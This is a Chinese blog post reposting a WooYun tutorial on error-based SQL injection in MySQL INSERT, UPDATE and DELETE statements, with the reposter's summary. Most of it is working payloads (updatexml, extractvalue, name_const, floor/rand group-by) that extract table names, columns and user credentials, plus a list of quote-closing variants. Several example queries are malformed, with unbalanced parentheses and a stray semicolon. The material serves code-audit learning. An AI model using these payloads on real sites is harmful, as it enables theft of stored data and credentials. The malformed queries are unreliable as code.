前言
最近在進行代碼審計,其中遇到了update、delte語句存在注入的問題就找來了這篇文章看看,同時也加強以下自己對報錯注入的理解。以下是文章原文。如果不想看原文,可以直接看文章最后的我的總結一章。
本文轉載自wooyun drops文章,《利用insert、update和delete注入獲得數據》。
以下是文章原文,如有侵權,望告知。
簡介
利用SQL注入注入獲取數據庫數據,利用的方法可以大致分為聯合查詢、報錯、布爾盲注以及延時注入,通常這些方法都是基於select查詢語句中的SQL查詢點來實現的。那么,當我們發現了一個基於insert、update、delete語句的注射點時(比如有的網站會記錄用戶瀏覽記錄、包括referer、client_ip、user-agent等,還有類似於用戶注冊、密碼修改、信息刪除等功能),還可以用如上的方法獲取我們需要的數據嗎?在這里,我們以MYSQL的顯錯為例,看一下如何在insert、update、delete的注射點中獲取我們想要的數據。
環境搭建
為了更好的演示注入效果,我們先利用下面的語句創建原始數據:
create database newdb;
use newdb;
create table users (
id int(3) not null auto_increment,
username varchar(20) not null,
passowrd varchar(20) not null,
primary key(id)
);
insert into users values(1,'janes','Eyre');
看一下當前數據結構:
注入語法
因為我們這里是用的顯錯模式,所以思路就會在insert、update、delete語句中人為構造語法錯誤,利用如下語句:
insert into users(id,username,passowrd) values (2,''inject here'','Olivia');
insert into users(id,username,passowrd) values (3,""inject here"",'Olivia');
注意:大家看到本來要填入username字段的地方,我們填入了'injectio here'
和"inject here"
兩個字段來實現報錯,一個單引號包含,一個是雙引號包含,要根據實際的注入點靈活構造。
利用updatexml()獲取語句
updatexml()函數是MYSQL對XML文檔數據進行查詢和修改的XPATH函數
payload:
or updatexml(1,concat(0x7e,(version())),0) or
Insert:
insert into users(id,username,passowrd) values(2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or '','Nervo');
Update:
update user set passowrd='Nicky' or updatexml(1,concat(0x7e,(version())),0) or '' where id=2 and username='Nervo';
Delete:
delete from users where id=2 or updatexml(1,concat(0x7e,(version())),0) or '';
提取數據:
由於篇幅有限,在insert、update、delete用法一致的時候,我僅會以insert為例說明。
所用的payload為:
or updatexml(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or
獲取newdb數據庫表名:
獲取users表的列名:
利用insert獲取users表的數據:
利用delete獲取users表的數據:
我們可以用insert、update、delete語句獲取到數據庫表名、列名,但是不能用update獲取當前數據;
在這里,為了演示用update獲取數據,我們臨時再創建一個含有id,name,address的student表,並插入一條數據:
再次利用update獲取users表中的數據:
(注意使用update獲取數據時,無法獲取當前數據,至少需要兩張表)
如果你碰到一個update的注入並且想獲取當前的表的數據的話,可以用雙查詢,我后面會講到。
利用extractvalue()獲取數據
extractvalue()函數也是MYSQL對XML文檔數據進行查詢和修改的XPATH函數。
payload:
or extractvalue(1,concat(0x7e,database())) or
Insert
insert into users(id,username,password) values(2,'Olivia' or extractvalue(1,concat(0x7e,database())) or '','Nervo');
Update
update users set passowrd='Nicky' or extractvalue(1,concat(0x7e,database())) or '';
delete
delete from users where id=1 or extractvalue(1,concat(0x7e,database())) or '';
提取數據:
同樣,在insert、update、delete用法一致的時候,我僅會以insert為例說明。
獲取newdb數據庫表名:
insert into users(id,username,passowrd) values(2,'Olivia' or extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1))) or '','Nervo');
獲取users表的列名:
insert into users(id,username,passowrd) values(2,'Olivia' or extractvalue(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 0,1))) or '','Nervo');
獲取users表的數據:
insert into users(id,username,passowrd) values(2,'Olivia' or extractvalue(1,concat(0x7e,(select concat_ws(':',id,username,passowrd) from users limit 0,1))) or '','Nervo');
同樣,我們可以用insert、update、delete語句獲取數據庫表名、列名、但是不能用update獲取當前表的數據。
利用name_const()獲取數據
name_const()函數是MYSQL5.0.12版本加入的一個返回給定值的函數,當用來產生一個結果集合時,NAME_CONST()促使該列使用給定名稱。
Payload:
or (select * from (select name_const(version(),1),name_const(version(),1))a) or
Insert:
insert into users(id,username,passowrd) values(2,'Olivia' or (select * from (select name_const(version(),1),name_const(version(),1))a) or '','Nervo');
Update:
update users set passowrd='Nikcy' or (select * from (select name_const(version(),1),name_const(version(),1))a) or '';
Delete
delete from users where id=1 or (select * from (select name_const(version(),1),name_const(version(),1))a) or '';
提取數據:
在最新的MYSQL版本中,使用name_const()函數只能提取到數據庫的版本信息,但是在一些比較舊的高於5.0.12(高於5.0.12)的MYSQL版本中,可以進一步提取更多數據。在這里我使用MYSQL5.0.45進行演示。
首先,我們做一個簡單的select查詢,檢查我們是否可以提取數據。
insert into users (id,username,passowrd) values (1,'Olivia' or (select * from (select name_const((select 2),1),name_const((select 2),1))a) or '','Nervo');
如果顯示ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
,那就洗洗睡吧。
如果顯示ERROR 1060 (42S21): Duplicate column name 2
,就可以進一步獲取更多數據。
獲取newdb數據庫表名:
insert into users (id,username,passowrd) values (1,'Olivia' or (select * from (select name_const((select concat(table_name) from information_schema.tables where table_schema=database()),1))a) or '','Nervo');
ERROR 1060 (42S21): Duplicate column name 'users'
獲取users表的列名
insert into users (id,username,passowrd) values (1,'Olivia' or (select * from (select column_name from information_schema.columns where table_name='users'),1))a) or '','Nervo');
ERROR 1060 (42S21): Duplicate column name 'id'
獲取users表的數據
insert into users (id,username,passowrd) values (1,'Olivia' or (select * from (select concat_ws(':',id,username,passowrd) from users limit 0,1),1))a) or '','Nervo');
ERROR 1060 (42S21): Duplicate column name '1:Jane:Eyre'
利用子查詢注入
原理與select查詢時的顯錯注入一致。
Insert:
insert into users(id,username,passowrd) values(1,'Olivia' or (select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x;
) or '','Nervo');
update
update users set passowrd='Nicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '' where id=2;
delete
delete from users where id=1 or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a)
提取數據
獲取newdb數據庫表名:
insert into users(id,username,passowrd) values(1,'Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e)x from information_schema.character_sets group by x)a) or '','Nervo');
獲取users表的列名
insert into users(id,username,passowrd) values(1,'Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)x from information_schema.character_sets group by x)a) or '','Nervo');
獲取users表中的數據
insert into users(id,username,passowrd) values(1,'Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select concat_ws(':',id,username,passowrd) from users limit 0,1),0x7e)x from information_schema.character_sets group by x)a) or '','Nervo');
更多的閉合變種
'or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
' * (payload) *'
' or (payload) and '
"- (payload) -"
引用
http://dev.mysql.com/
http://websec.ca/kb/sql_injection
from: http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf
我的總結
其實這篇文章主要就是說明了四種報錯注入的用法,以及如何在insert、update、delete語句中使用,常見的使用就是閉合標簽。
還是總結以下報錯注入的用法。
常用注入語法
updatexml
or updatexml(1,concat(0x7e,(【需要寫入的SQL語句】)),0) or
例子為:
insert into users(id,username,password) values(1,'PPP' or updatexml(1,concat(0x7e,(version())),0) or '','PPP')
extractvalue
or extractvalue(1,concat(0x7e,(需要寫入的SQL語句))) or
例子為:
insert into users (id,username,password) values(1,'pp' or extractvalue(1,concat(0x7e,(select database()))) or '','ppp');
name_const()
這個方法對mysql的版本有一定的顯示,目前在最新的版本5.5.53中已經無法使用,只能得到版本號
or (select * from (select name_const(version(),1),name_const(version(),1))a) or
例子為:
insert into users (id,username,password) values(1,'pp' or (select * from (select name_const(version(),1),name_const(version(),1))a) or '','ppp');
group by
or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(【SQL語句】)x from information_schema.character_sets group by x)a) or
例子為:
insert into users(id,username,passowrd) values(1,'Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select concat_ws(':',id,username,passowrd) from users limit 0,1),0x7e)x from information_schema.character_sets group by x)a) or '','Nervo');
PHP的mysql報錯顯示
需要注意的是,報錯注入需要通過php中的mysql_error()
顯示。
下面的例子:
$sql = mysql_query('select * from users where id=1 and updatexml(0,concat(0x7e,(select version())),1)');
$row = mysql_fetch_array($sql);
$strid = $row['id'];
echo $strid;
這樣在界面上是沒有顯示的,需要通過mysql_error()
顯示。
$sql = mysql_query('select * from users where id=1 and updatexml(0,concat(0x7e,(select version())),1)');
if(!$sql) {
echo mysql_error();
}
$row = mysql_fetch_array($sql);
$strid = $row['id'];
echo $strid;
只有加入了mysql_error()
才能夠顯示錯誤,所以來說報錯注入還是具有一定的條件的。
為了能到遠方,腳下的每一步都不能少